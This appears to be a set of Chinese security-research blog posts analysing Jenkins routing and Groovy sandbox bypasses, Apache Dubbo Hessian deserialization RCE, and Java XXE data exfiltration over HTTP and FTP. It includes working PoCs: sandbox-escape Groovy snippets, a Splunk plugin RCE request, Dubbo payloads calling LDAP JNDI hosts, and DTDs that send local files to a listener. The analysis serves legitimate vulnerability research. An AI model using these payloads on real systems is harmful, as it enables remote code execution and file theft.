同理，自增(++)自减(--)运算符也能间接调用到方法

分析

本质上还是通过threadInterceptors.get().clear()清除拦截器再执行任意代码

PoC

poc1

'calc'.({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); "execute" }())();

poc2

++({ org.kohsuke.groovy.sandbox.GroovyInterceptor.threadInterceptors.get().clear(); "toString" }());
'calc'.execute()

补丁

jenkinsci/groovy-sandbox commit
概述：对方法调用表达式以及递增递减表达式都做了处理

SECURITY-1294

公告：https://jenkins.io/security/advisory/2019-08-28/#SECURITY-1294
CVE-2019-10390
插件：Splunk Plugin
影响版本：<=1.7.4
利用点
- com.splunk.splunkjenkins.SplunkJenkinsInstallation#doCheckScriptContent

分析

通过上面分析的descriptorByName可以直接调用到指定的类，注意到SplunkJenkinsInstallation类的doCheckScriptContent方法，该方法调用了

LogEventHelper.validateGroovyScript(value)

该方法对script进行了解析，而参数value的值直接从request获取，因此传入精心构造的脚本可导致任意代码执行

PoC

GET /descriptorByName/com.splunk.splunkjenkins.SplunkJenkinsInstallation/checkScriptContent?value=import%20groovy.transform.*%0a@ASTTest(value={assert%20java.lang.Runtime.getRuntime().exec(%22calc%22)})%0aclass%20ASTTestPoc{}

补丁

jenkinsci/splunk-devops-plugin commit
版本：1.8.0
概述：引入GroovySandbox在解析前对Groovy脚本进行校验

总结

本报告分析了Jenkins动态路由机制和路由绕过的问题，并讨论了在主流插件Script Security中针对Groovy沙箱的绕过方法，其中最巧妙的是利用自身路由白名单绕过登录检查并结合Groovy语法达到远程代码执行，是一条非常精彩的利用链。

在修复方式上，可以看出Jenkins对于沙箱问题采取的防护方法是黑名单+白名单的方式，对安全的控制还是比较好的，不少问题都出在Groovy的语法特性上，使得较小权限的用户可以突破沙箱执行任意代码，相信以后也会有更巧妙的方式来绕过沙箱，欢迎大家探讨。

参考

Jenkins 路由解析及沙箱绕过漏洞分析报告(上)

Tue, 15 Sep 2020 16:42:32 +0000

Jenkins 路由解析及沙箱绕过漏洞分析报告(上)

简介

本报告主要研究Jenkins的路由解析机制和Groovy沙箱绕过带来的安全问题，梳理Jenkins官方2018-2019年以来涉及沙箱绕过的安全更新，探讨Java沙箱在Java应用中的安全性。由于篇幅较长，分为上下两篇发表，文中疏漏之处还请批评指正。

Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件的持续集成变成可能。Jenkins的目的是持续、自动化地构建/测试软件项目以及监控软件开发流程，快速问题定位及处理，提升开发效率。

Script Security插件是Jenkins的一个安全插件，可以集成到Jenkins各种功能插件中。它主要支持两个相关系统：脚本批准和Groovy沙箱，分别用来管控脚本是否允许执行以及将脚本限制在安全环境下执行，避免带来不可控风险。

环境搭建

下载相应版本的war包

地址：https://updates.jenkins-ci.org/download/war/
设置环境变量JENKINS_HOME

set JENKINS_HOME=D:\Jenkins\jenkins_2.137
加上调试选项并运行

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar jenkins_2.137.war --httpPort=8082
安装插件

国内镜像地址：https://mirrors.tuna.tsinghua.edu.cn/jenkins/updates/update-center.json

Jenkins在安装过程中会自动下载部分插件的最新版，这部分可以先跳过，再在后台上传特定版本的插件（.hpi文件）进行安装，然后重启Jenkins完成安装

动态路由机制

首先从WEB-INF/web.xml入手看看Jenkins如何处理路由，可以看到所有请求都交给org.kohsuke.stapler.Stapler，具体是由Stapler:service()方法来处理

在service方法中主要调用的是invoke方法，两处调用的区别是invoke的第3和第4个参数不同，分别是根节点root和url路径，在调用之前判断了url路径，如果是/$stapler/bound/开头，则把根节点设置为boundObjectTable，否则通过this.webApp.getApp()把根节点设置为hudson.model.Hudson

跟进invoke方法

调用的是Stapler#tryInvoke()方法，tryInvoke()方法中对node类型（也就是一开始的root）进行了判断，按先后顺序分别处理三种情况

StaplerProxy
StaplerOverridable
StaplerFallback

这三种情况的具体区别可以参考Jenkins关于路由请求的文档

这里我们关注中间获取metaClass和调用dispatch的过程

通过传入/securityRealm/user/admin/动态调试来跟踪理解

初始化metaClass

WebApp中会缓存一个classMap存放MetaClass，无对应缓存则通过

mc = new MetaClass(this, c);

进行初始化，这个过程发生在Jenkins刚启动没有缓存时，当建立缓存后则直接从classMap获取相应的MetaClass

MetaClass mc = (MetaClass)this.classMap.get(c);

在MetaClass的构造方法中，会再次调用其父类的getMetaClass()方法，直到父类为空为止

而此时的kclass为一开始传入的hudson.model.Hudson，Hudson继承关系如下图

因此getMetaClass一直调用到class java.lang.Object，然后进行buildDispatchers()方法并层层返回，因此整个初始化metaClass的过程是一个不断寻找继承树并递归调用buildDispatchers的过程，而buildDispatchers的功能就是提取该类中的所有函数信息存储在MetaClass.dispatchers中，作为后续与url的映射关系

buildDispatchers()方法按顺序调用如下：

this.registerDoToken(node)
- do(…)
node.methods.prefix(“js”).iterator()
- js(…)
node.methods.annotated(JavaScriptMethod.class).iterator()
- @JavaScriptMethod annotation
node.methods.prefix(“get”)
- get()
- get(String)
- get(Int)
- get(Long)
getMethods.signature(new Class[]{StaplerRequest.class}).iterator()
- get(StaplerRequest)
getMethods.signatureStartsWith(new Class[]{String.class}).name(“getDynamic”).iterator()
- getDynamic(…)
node.methods.name(“doDynamic”).iterator()
- doDynamic(…)

这相当于规定了一个函数命名规则，只要符合这个规则的方法都能被访问到。

注意此过程中，大部分dispatchers添加的都是NameBasedDispatcher对象，除了如下几类：

DirectoryishDispatcher (url路径相关，如/、?、../等)
HttpDeletableDispatcher (DELETE方法)
IndexDispatcher (doIndex(...))
Dispatcher (getDynamic(…) doDynamic(…))

其中js<token>(…)对应的JavaScriptProxyMethodDispatcher继承自NameBasedDispatcher

hudson.model.Hudson经过递归buildDispatchers，缓存下的dispatchers有220个，根据上面的注意点，其中大部分方法会调用到NameBasedDispatcher#dispatch()

递归解析路由

回到org.kohsuke.stapler.Stapler#tryInvoke()，路径/securityRealm/对应的是hudson.security.SecurityRealm jenkins.model.Jenkins.getSecurityRealm()，同样也会调用到NameBasedDispatcher#dispatch()

接下来可以看到ff.invoke()返回一个hudson.security.HudsonPrivateSecurityRealm对象，然后重新调用org.kohsuke.stapler.Stapler#invoke()，这也是一个递归的过程。此时HudsonPrivateSecurityRealm返回的dispatchers有30个，在Stapler#tryInvoke()中进行循环调用，在每个dispatchers动态生成的dispatch方法中，会根据解析到的url路径与当前的dispatchers进行对比，不一致直接返回false，同时还会判断是否存在下一层路由，如果存在则进入doDispatch

比如此时解析到的url为/user/，则只有hudson.security.HudsonPrivateSecurityRealm.getUser(String)方法进入下一步doDispatch

当传入一个不存在的url，tryInvoke会返回false，抛出404，也就不继续往下解析了

经过上面递归的tryInvoke过程，Jenkins才完成路由解析，调用过程的流程图如下

动态路由绕过

公告：https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595
CVE：CVE-2018-1000861
影响版本：Jenkins<=2.153 / Jenkins LTS<=2.138.3

这是一个动态路由绕过导致未授权访问的问题，由Orange提交：）参考 Hacking Jenkins Part 1 - Play with Dynamic Routing

白名单机制

上面分析了Jenkins构建动态路由的过程，主要调用的是org.kohsuke.stapler.Stapler#tryInvoke()方法，该方法对所属于StaplerProxy的类会有一次权限检查，而一开始我们知道除了boundObjectTable其他的node都被设置为hudson.model.Hudson，上面也讲到Hudson类继承自Jenkins，而Jenkins的父类AbstractCIBase是StaplerProxy的一个接口实现，所以除了boundObjectTable外所有node都会进行这个权限检查，具体实现在jenkins.model.Jenkins#getTarget()中

这个方法会先进行一次checkPermission，如果没有权限则会抛出异常还会再进行一次isSubjectToMandatoryReadPermissionCheck检查，如果这个检查通过同样会正常返回

这个检查中有一个白名单，如果存在于这个白名单中的url路由同样可以直接访问

ALWAYS_READABLE_PATHS = ImmutableSet.of("/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", new String[] {
    "/signup",
    "/tcpSlaveAgentListener",
    "/federatedLoginService/",
    "/securityRealm",
    "/instance-identity"
});

还是以/securityRealm/user/admin/为例，在解析至securityRealm的时候命中白名单，正常返回，而解析至admin的时候因为User类并非StaplerProxy子类，所以会跳过getTarget()检查，成功绕过

跨物件操作

接下来关注DescriptorByName

从继承关系图可以看到User也是DescriptorByNameOwner接口的实现

而DescriptorByNameOwner接口调用的是 jenkins.model.Jenkins#getDescriptor

public interface DescriptorByNameOwner extends ModelObject {
    default Descriptor getDescriptorByName(String id) {
        return Jenkins.getInstance().getDescriptorByName(id);
    }
}

该方法首先获取了所有的descriptors，如果传入的id匹配到了相应的descriptor就能去调用指定的方法，例如org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl，getDisplayName()和doCheckScript()都是能被调用到的

因此，通过构造/securityRealm/user/DescriptorByName/xxx的方式就可以调用到任意类的任意方法，只要满足下面两个条件：

符合上文整理的命名规则；
目标类继承了Descriptor；

利用链：

Jenkins->HudsonPrivateSecurityRealm->User->DescriptorByNameOwner->Jenkins->Descriptor

在这个漏洞修复后还想再利用则必须开启Allow anonymous read access匿名用户访问权限，否则会抛出404

总结

本报告上篇讨论了Jenkins动态路由机制和路由绕过的问题，通过这个脆弱点可以绕过用户权限检查从而访问到特定的物件，为下一步进行远程代码执行漏洞攻击降低了攻击门槛，是一个非常巧妙的入口。下篇将分析Jenkins主流插件Script Security中针对Groovy沙箱的绕过方法，欢迎关注。

参考

Apache Dubbo 2.7.6 反序列化漏洞复现及分析

Wed, 01 Jul 2020 19:59:26 +0000

简介

Dubbo 从大的层面上讲是RPC框架，负责封装RPC调用，支持很多RPC协议
RPC协议包括了dubbo、rmi、hessian、webservice、http、redis、rest、thrift、memcached、jsonrpc等
Java中的序列化有Java原生序列化、Hessian 序列化、Json序列化、dubbo 序列化

图片来源：https://www.anquanke.com/post/id/209251

环境搭建

克隆项目
- git clone https://github.com/apache/dubbo-spring-boot-project.git
- git checkout 2.7.6

添加rome依赖

dubbo-spring-boot-samples 文件夹，在provider-sample文件夹下的 pom 里添加

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>

启动服务端

org.apache.dubbo.spring.boot.demo.provider.bootstrap.DubboAutoConfigurationProviderBootstrap

复现

python版本

# -*- coding: utf-8 -*-
# Ruilin
# pip3 install dubbo-py
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 
client = DubboClient('192.168.2.1', 12345)
 
JdbcRowSetImpl=new_object(
    'com.sun.rowset.JdbcRowSetImpl',
    dataSource="ldap://192.168.2.2:1389/nnyvbt",
    strMatchColumns=["foo"]
    )
JdbcRowSetImplClass=new_object(
    'java.lang.Class',
    name="com.sun.rowset.JdbcRowSetImpl",
    )
toStringBean=new_object(
    'com.rometools.rome.feed.impl.ToStringBean',
    beanClass=JdbcRowSetImplClass,
    obj=JdbcRowSetImpl
    )
 
resp = client.send_request_and_return_response(
    service_name='any_name',
    method_name='any_method',
    args=[toStringBean])
    
print(resp)

java版本

DemoService增加接口方法
```
String rceTest(Object o);
```

DefaultDemoService实现接口方法

@Override
public String rceTest(Object o) {
    return "pwned";
}

DubboAutoConfigurationConsumerBootstrap客户端增加调用

public ApplicationRunner runner() throws Exception {
    Object o = getPayload();
    return args -> logger.info(demoService.rceTest(o));
}
    
private static Object getPayload() throws Exception {
    String jndiUrl = "ldap://192.168.3.104:1389/sg56vh";
    
    ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));
    EqualsBean root = new EqualsBean(ToStringBean.class, bean);
    
    return JDKUtil.makeMap(root, root);
}

运行provider服务者，再运行consumer消费者，触发漏洞

流量

0xdabb开头的为dubbo流量，提出后可以直接用socket发送触发漏洞

分析

python版本触发点

org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.decodeBody()
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()
org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument()
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker()
java.lang.StringBuilder.append()
java.lang.String.valueOf()
org.apache.dubbo.rpc.RpcInvocation.toString()
com.rometools.rome.feed.impl.ToStringBean.toString()
com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
com.sun.rowset.JdbcRowSetImpl.connect()
javax.naming.InitialContext.lookup()

python版本poc成功触发的关键点在于，通过构造一个不存在的service_name使得服务端获取不到期望的DubboExporter进而抛出异常，而在输出异常信息的时候进行了字符串拼接进而调用了隐含的toString方法，所以能够通过构造的恶意对象的toString方法触发漏洞

那么关键点就在异常处理部分了，也正是rui0提出的“后反序列化漏洞”的利用场景，重点来看一下

org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker()

//dubbo 2.7.3
if (exporter == null) {
    throw new RemotiyicngException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv);
} else {
    return exporter.getInvoker();
}

dubbo 2.7.3版本中，抛出异常部分直接拼接了inv，此时inv为DecodeableRpcInvocation对象，并且arguments值为我们设置的ToStringBean对象，在对其直接进行字符串拼接时会触发String.append->String.valueOf->obj.toString()，进而将ToStringBean进行tostring触发漏洞

而在2.7.5之后的版本中，throw RemotiyicngException部分变成了

//dubbo 2.7.5
if (exporter == null) {
    throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + this.getInvocationWithoutData(inv));
} else {
    return exporter.getInvoker();
}

注意到对inv经过了getInvocationWithoutData处理，这个处理是这样的：

//org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol
private Invocation getInvocationWithoutData(Invocation invocation) {
    if (this.logger.isDebugEnabled()) {
        return invocation;
    } else if (invocation instanceof RpcInvocation) {
        RpcInvocation rpcInvocation = (RpcInvocation)invocation;
        rpcInvocation.setArguments((Object[])null);
        return rpcInvocation;
    } else {
        return invocation;
    }
}

可以看到将invocation中的arguments值处理成了空，经过这个处理之后后续的toString利用链就无法继续下去，起到了第一层防御效果，因此通过设置arguments为恶意对象的方法就无法在2.7.5版本以上触发。

Java版本触发点

org.apache.dubbo.remoting.transport.DecodeHandler.decode()
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput.readObject()
com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject()
com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap()
com.alibaba.com.caucho.hessian.io.MapDeserializer.doReadMap()
java.util.HashMap.put()->hash()->hashCode()
com.rometools.rome.feed.impl.EqualsBean.beanHashCode()
com.rometools.rome.feed.impl.ToStringBean.toString()
com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
com.sun.rowset.JdbcRowSetImpl.connect()
javax.naming.InitialContext.lookup()

下面讨论一下java版本poc为什么在解决了异常处理的toString后还是能触发漏洞？

除了上面的commit修复了异常处理中的toString外，官方还提交了一个PR

在org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()中增加了RpcUtils.isGenericCall和RpcUtils.isEcho的判断，在没有补丁之前，pts还能通过反射从desc中获取到，而打了补丁后，如果方法名不是$invoke或$invokeAsync或$echo则直接抛出Service not found，因此当用python版本poc发送不存在的service_name或method_name时，便通不过判断，也就无法利用。

上述判断条件是当传入的参数类别从对应的方法中获取不到的时候进行的，那么如果我们传入正确的方法名和参数类型，该条件就不成立，也就不会进入RpcUtils.isGenericCall和RpcUtils.isEcho，从而绕过了对调用的方法名的判断

因此我们重新实现一下客户端代码，调用正确的服务名和方法名，并传入构造的map对象，便能再次触发漏洞。

触发条件：必须知道服务端的完整service name和方法名，同时该方法需要能接收map或object对象，客户端才能通过正确的服务名和方法名去调用，否则是无法触发的。

2.7.7绕过

上面分析了CVE-2020-1948，看似补丁修复了漏洞，但之后又有讨论说在2.7.7上又存在绕过，下面也来分析一下

还是看getInvocationWithoutData方法，注意到在设置arguments为空之前有这么两行代码

if (this.logger.isDebugEnabled()) {
    return invocation;
}

这就是说如果provider是以debug模式启动的，那么会直接返回invocation对象。。。

配置一下服务端启动的日志级别，然后修改python版本poc的method_name为$invoke，成功绕过2.7.7补丁（还需要注意服务名是否匹配和服务版本号的问题）

<?xml version="1.0" encoding="UTF-8"?>
<configuration scan="true">
    <logger name="com.alibaba.dubbo" level="DEBUG"/>
</configuration>

小结

上面两种触发方式是不一样的，一个是利用异常处理中存在设计不足，使得可以执行用户可控参数的toString方法，也即“后反序列化”利用思路，另一个是直接反序列化hessian2数据，期间对hashmap的操作进入toString，从调用栈上也能看出两者的区别。

修复方式

按照dubbo/pull/6374建议的方法，给ParameterTypesDesc加上校验，严格限制类型为Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;，同时建议参考sofa-hessian给反序列化加上黑名单

参考

JAVA XXE中两种数据传输形式及相关限制

Thu, 07 May 2020 10:40:08 +0000

示例代码：

DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
doc = dbBuilder.parse("xxe.xml");

HTTP传输

xxe_http.xml

<?xml version="1.0" encoding="utf-8"?>
        <!DOCTYPE ANY [
                <!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/http.dtd">
                %dtd;
                %http;
                %send;
                ]>
<ANY>xxe</ANY>

http.dtd

<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % http "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:8080/%file;'>">

在dbBuilder.parse("xxe_http.xml")时会产生异常

java.net.MalformedURLException: Illegal character in URL
	at sun.net.www.http.HttpClient.getURLFile(Unknown Source)
	at sun.net.www.protocol.http.HttpURLConnection.getRequestURI(Unknown Source)
	at sun.net.www.protocol.http.HttpURLConnection.writeRequests(Unknown Source)
	at sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.startPE(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.skipSeparator(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDecls(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDTDInternalSubset(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.dispatch(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.next(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$PrologDriver.next(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(Unknown Source)

这是因为在rt.jar!/sun/net/www/http/HttpClient.class中，JDK7u21

public String getURLFile() throws IOException {
    String str = this.url.getFile();
    if (str == null || str.length() == 0) {
      str = "/";
    }

    if (this.usingProxy && !this.proxyDisabled) {
        //...
    }
    if (str.indexOf('\n') == -1) {
      return str;
    }
    throw new MalformedURLException("Illegal character in URL");
}

能够看到在处理httpURL的时候，如果字符串含有换行符(\n)就会直接抛出异常，而一般通过http外带基本只能拼接到url中，所以碰到需要往外带的数据含有换行符时就会失败

对\n的处理应该在比较早的版本就引入了，从commit中看到最早在05年的代码中就有这块处理，所以默认高版本Java应该是对url都有处理的

FTP传输

xxe_ftp.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % dtd PUBLIC "-//OXML/XXE/EN" "http://127.0.0.1:8080/ftp.dtd">
        %dtd;%ftp;%send;
        ]>
<ANY>xxe</ANY>

ftp.dtd

<!ENTITY % file SYSTEM "file:///D:/data.txt">
<!ENTITY % ftp "<!ENTITY &#37; send SYSTEM 'ftp://fakeuser:%file;@127.0.0.1:2121'>">

其中%file;的引用有两种方式，一个是在PASS字段引用，一个是在URL路径中引用，两种方式存在一定差异，具体可以见下面情况一分析

先来看触发XXE的过程中FTP客户端与服务端的交互

info: FTP: recvd 'USER fakeuser'
info: FTP: recvd 'PASS testdata'
info: FTP: recvd 'TYPE A'
info: FTP: recvd 'CWD .'
info: FTP: recvd 'EPSV ALL'
info: FTP: recvd 'EPSV'
info: FTP: recvd 'EPRT |1|127.0.0.1|50130|'
info: FTP: recvd 'LIST'

可以看到server会向client发送几个指令，包括要求提供用户名密码(数据在此阶段被带出)，切换路径，列出文件等过程。

使用Everything自带的FTP服务功能，通过抓包观察正常的FTP交互流程，大致是这样子的

注意到发送LIST指令时会返回150和226，那么在xxer中也尽可能模拟这个过程，但是在实际利用中会发现，当xxer服务端接收到LIST指令时，client与server不再有交互了，处于一个互相等待的过程中，具体的原因见下面分析

sun.net.ftp.impl.FtpClient处理LIST指令的过程中存在一个bug（可能与模拟的ftpserver没有支持所有指令有关），FtpClient.openDataConnection()方法中，

当ftpserver收到LIST指令后模拟正常ftp通信返回226代码，然后当前socket进入accept，会创建一个新的Socket，接着通过java.net.ServerSocket#implAccept()方法接受socket连接

但是此时的address是null，也就是说服务端和客户端此时是没有正常建立新的socket的，于是两端都处在等待状态，客户端就会被挂起。

然而抓包看整个通信过程，client与server的交互与正常的交互是一模一样的，正常ftp服务端收到LIST指令后返回226传输完毕，当前socket会正常关闭，然后等待下一次交互指令，但是在xxer/xxeserv模拟的过程中却会被挂起，这个问题暂时没有解决办法。（passive mode，客户端发送指令使服务端进入被动模式，但没有效果）

如果这个过程是发生在weblogic端并且Java版本较低时，并不影响数据传输，只是会有一个对ftpserver的长连接，但是如果是在本地通过外部实体的方式解析xml文件，同样会被挂在长连接的过程，于是就有可能无法生成相应的payload

Tips：如何利用FTP获取目标Java版本

ftp.dtd

<!ENTITY % file SYSTEM "file:///D:/data.txt">
<!ENTITY % ftp "<!ENTITY &#37; send SYSTEM 'ftp://127.0.0.1:2121/%file;'>">

当不指定用户名和密码直接连接FTP时，client默认会以anonymous登录，密码则是client的Java版本，所以可以利用这个方式获取目标服务器的Java版本：

info: FTP: recvd 'USER anonymous'
info: FTP: recvd 'PASS Java1.7.0_21@'
info: FTP: recvd 'TYPE I'
info: FTP: recvd 'EPSV ALL'
info: FTP: recvd 'EPSV'
info: FTP: recvd 'EPRT |1|127.0.0.1|54357|'
info: FTP: recvd 'RETR tesdata'

FTP中特殊字符的问题

情况一

各种特殊字符在特定版本下的情况

测试的jdk版本：JDK7u21
pwd字段意义：<!ENTITY % ftp "<!ENTITY % send SYSTEM 'ftp://fakeuser:%file;@127.0.0.1:2121'>">
file字段意义：<!ENTITY % ftp "<!ENTITY % send SYSTEM 'ftp://fakeuser:s@127.0.0.1:2121/%file;'>">

符号/位置	\n	[	‘	“	%	&	@	#	?	/
pwd字段	√	×	×	√	×(*0)	×(*0)	×(*1)	√	×	×
file字段	√	√	×	√	×	×	√	√(*2)	√(*3)	√(*4)

*0：org.xml.sax.SAXParseException：% &都有实际意义，不能被正常引用和替换

*1：java.net.UnknownHostException：@被当作用户名:密码@主机，不能正确处理

*2：会截断#之后的内容，URL锚点

*3：会截断?之后的内容，URL参数

*4：/分隔的每部分会单独出现在CWD指令中，最后一部分出现在%file

解决办法：

单引号/双引号：能否正常读取取决于参数实体的写法，简单说就是用单引号来防止闭合双引号，用双引号来防止闭合单引号；
< % &等，通过<![CDATA[<"%'&]]>忽略特殊字符；

情况二

换行符在不同版本下的情况

jdk7u131与jdk7u141的对比

jdk8u131-b08与jdk8u131-b09的对比

因此，通过ftp外带数据时，Java版本 <7u141-b00 或 <8u131-b09 时才不会受文件中\n的影响。

上面的修复补丁都是在rt.jar!/sun/net/ftp/impl/FtpClient.class#issueCommand()中增加对换行符的判断，但是四哥在Java底层修改对XXE利用FTP通道的影响中提到FTP通道被阻断的时候还没有触发到issueCommand()，这边也来调试一下

环境JDK8u141，直接断到issueCommand()

发现在8u141中，对\n的检查确实是在issueCommand()，RETR返回的数据中如果有换行符就抛出sun.net.ftp.FtpProtocolException: Illegal FTP command，那么四哥说的在这之前有一个checkURL方法又是在哪里呢，搜一下java源码确定一下引入checkURL是在哪个版本

github上相关commit，版本是 jdk8u_jdk-jb8u232-b1638.6，时间是2019年4月份

1.8.0_141相关调用栈

Exception in thread "main" java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP command
	at sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XMLEntityManager.java:623)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1304)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1240)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.startPE(XMLDTDScannerImpl.java:741)

1.8.0_232相关调用栈

Exception in thread "main" java.lang.IllegalArgumentException: Illegal character in URL
	at sun.net.www.protocol.ftp.FtpURLConnection.checkURL(FtpURLConnection.java:164)
	at sun.net.www.protocol.ftp.FtpURLConnection.<init>(FtpURLConnection.java:188)
	at sun.net.www.protocol.ftp.Handler.openConnection(Handler.java:61)
	at sun.net.www.protocol.ftp.Handler.openConnection(Handler.java:56)
	at java.net.URL.openConnection(URL.java:1001)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XMLEntityManager.java:621)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1304)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1240)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.startPE(XMLDTDScannerImpl.java:741)

综上，利用XXE漏洞通过FTP协议外带数据时，能否成功受Java版本影响，总结如下

<7u141-b00 或 <8u131-b09 ：不会受文件中\n的影响；
>jdk8u131：能创建FTP连接，外带文件内容中含有\n则抛出异常；
>jdk8u232：不能创建FTP连接，只要url中含有\n就会抛出异常；

dtd引用中的问题

问题1

内部实体与外部实体不能结合使用

有一个需要注意的点是，参数实体只能在DTD中引用，举个例子

<!ELEMENT person1 (name, sex, age)>
<!ELEMENT person2 (name, sex, age)>
<!ELEMENT person3 (name, sex, age)>

为了减少重复定义某些元素，可以通过参数实体的方式进行定义，如

<!ELEMENT %res "name, sex, age">

然后通过%res进行引用

<!ELEMENT person1 (%res;)>
<!ELEMENT person2 (%res;)>
<!ELEMENT person3 (%res;)>

但是这种元素替换的方式仅限于外部DTD。在以上过程中，参数实体将元素组保存在DTD的外部子集中，因为内部子集有非常严格的校验，即标记声明中不允许引用参数实体，如下的参数实体引用是会失败的，抛出异常java.io.IOException: org.xml.sax.SAXParseException: The parameter entity reference "%file;" cannot occur within markup in the internal subset of the DTD.

这些实体可以定义DTD语法，但不能定义在另一个DTD标签中立即引用，如下面的使用也将失败：

<!ENTITY %res "name, sex, age">
<!ELEMENT person (%res;)>

但是，可以通过在外部参数实体中声明，在内部DTD子集中使用的形式：

<!DOCTYPE ANY [
        <!ENTITY % dtd SYSTEM "http://localhost/my.dtd">
<ANY>xxe</ANY>

远程my.dtd

<!ENTITY % file SYSTEM "file:///C:/file">

总结，对于上面定义的参数实体，需要注意的点是：

对参数实体的引用只能在DTD中发生；
参数实体不能在文档主体中使用；
内部DTD子集中的标记内不允许使用参数实体引用；
参数实体允许创建其他实体和参数实体；

问题2

无法向外请求dtd

假如目标系统存在防火墙，无法对外发起连接，就不能通过外部dtd注入了，此时可以利用系统本地已存在的dtd文件，覆盖其中的某个实体，通过报错形式进行利用

local.dtd

<?xml version="1.0" encoding="UTF-8"?>

        <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\xwizard.dtd">

        <!ENTITY % onerrortypes '(aa) #IMPLIED>
        <!ENTITY &#x25; file SYSTEM "file:///D:/data.txt">
        <!ENTITY &#x25; http "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://127.0.0.1:8080/&#x25;file;&#x27;>">
        &#x25;http;
        &#x25;send;
        <!ATTLIST xxe aa "bb" #IMPLIED'>
        %local_dtd;
        ]>

xxe_http.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
        <!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/local.dtd">
        %dtd;
        ]>
<ANY>xxe</ANY>

另一个思路：从目标机器上的jar包中发现可以被利用的本地dtd文件

参考：